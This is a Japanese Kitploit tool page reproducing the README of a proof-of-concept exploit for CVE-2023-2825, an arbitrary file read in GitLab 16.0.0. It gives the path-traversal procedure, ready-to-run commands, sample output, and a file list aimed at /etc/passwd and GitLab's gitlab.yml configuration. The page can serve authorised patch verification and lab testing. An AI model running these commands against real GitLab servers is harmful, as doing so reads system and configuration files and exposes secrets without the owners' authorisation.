Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-2825-PoC — CVE-2023-2825のPoC:自動化されたGitLab 16.0.0のネストされたパブリックグループを介した任意ファイル読み取り、プロジェクトアップロードのトラバーサル、再利用可能なアップロードパス、クリーンなCLI出力。 | Kitploit
ツール/GitHubGitHub/groppoxx/cve-2023-2825-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

CVE-2023-2825のPoC:自動化されたGitLab 16.0.0のネストされたパブリックグループを介した任意ファイル読み取り、プロジェクトアップロードのトラバーサル、再利用可能なアップロードパス、クリーンなCLI出力。

リポジトリを見る
413ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-2825-PoC

CVE-2023-2825 の概念実証(PoC)です。CVE-2023-2825 は GitLab CE/EE 16.0.0 における任意ファイル読み取りの脆弱性です。

このスクリプトは、有効な GitLab アカウントでログインし、必要な公開ネストグループ構造を作成し、公開プロジェクトを作成し、アタッチメントをアップロードし、脆弱なアップロードパス・トラバーサル動作を利用して GitLab サーバーからターゲットファイルを読み取ります。

また、既存のアップロードパスを再利用する機能もサポートしているため、ファイルを読み取るたびに新しいグループやプロジェクトを作成する必要はありません。

動作内容

  1. ターゲットの GitLab インスタンスに認証します。
  2. 信頼性の高い深いネストのために短いパスを使用して、ネストされた公開グループを作成します。
  3. 最も深いグループ内に公開プロジェクトを作成します。
  4. プロジェクトに小さなアタッチメントをアップロードします。
  5. アップロードディレクトリからトラバーサルパスを構築します。
  6. 1 つのファイルまたはファイルのリストを読み取ります。
  7. 後続の読み取りを高速化するために再利用可能なアップロードパスを出力します。

必要条件

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

必要な Python パッケージ:

root@kitploit:~
beautifulsoup4
requests
urllib3

クイックスタート

山かっこで囲まれた値はプレースホルダーです。実際の値に置き換え、< や > の文字は含めないでください。

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

プレースホルダー

root@kitploit:~
<GITLAB_URL>   # ターゲットの GitLab ベース URL。例: http://gitlab.local
<USERNAME>     # 有効な GitLab ユーザー名。
<PASSWORD>     # 有効な GitLab パスワード。

完全な例

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

出力例:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] CSRF トークンを取得中
[2026-05-17T18:20:10Z] [+] CSRF トークンが見つかりました
[2026-05-17T18:20:11Z] [*] alice としてログイン中
[2026-05-17T18:20:11Z] [+] ログイン成功
[2026-05-17T18:20:12Z] [*] 11 個のネストされた公開グループを作成中
[2026-05-17T18:20:18Z] [+] グループを作成しました: A1B-11
[2026-05-17T18:20:19Z] [*] 公開プロジェクトを作成中
[2026-05-17T18:20:20Z] [+] 再利用可能なアップロードパス: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] ファイルを読み取り中: /etc/hosts

[+] /etc/hosts の内容
127.0.0.1 localhost

アップロードパスの再利用

正常に実行された後、スクリプトは再利用可能なアップロードパスを出力します:

root@kitploit:~
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

--reuse-path を使用すると、ログイン、グループ作成、プロジェクト作成、アップロードをスキップできます:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

また、完全な URL を渡して --url を省略することもできます:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

複数ファイルの読み取り

ファイルリストを作成します:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

実行:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

オプションフラグ

root@kitploit:~
--groups <N>
   作成するネストされた公開グループの数。デフォルト: 11

--depth <N>
   使用するトラバーサルセグメントの数。デフォルト: 12

--reuse-path <PATH_OR_URL>
   既存のプロジェクトアップロードディレクトリ。セットアップをスキップし、直接ファイルを読み取ります。

--only-final
   進行状況ログを非表示にし、ファイルの内容のみを表示します。

--no-color
   ANSI カラーを無効にします。

--debug
   生成されたトラバーサルパスをトラブルシューティング用に表示します。

注記

  • このエクスプロイトには GitLab CE/EE 16.0.0 が必要です。
  • 公開ネストグループとプロジェクトを作成するには、有効な GitLab アカウントが必要です。
  • 脆弱なパスには、複数の公開グループ内にネストされた公開プロジェクト内のアタッチメントが必要です。
  • GitLab での深いパス作成の問題を避けるため、意図的に短いグループ名を使用しています。
  • 不要なグループやプロジェクトを作成しないように、可能な限り --reuse-path を使用してください。

法的注意

この PoC は許可されたセキュリティテスト、ラボ環境、および脆弱性の検証を目的としています。 明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード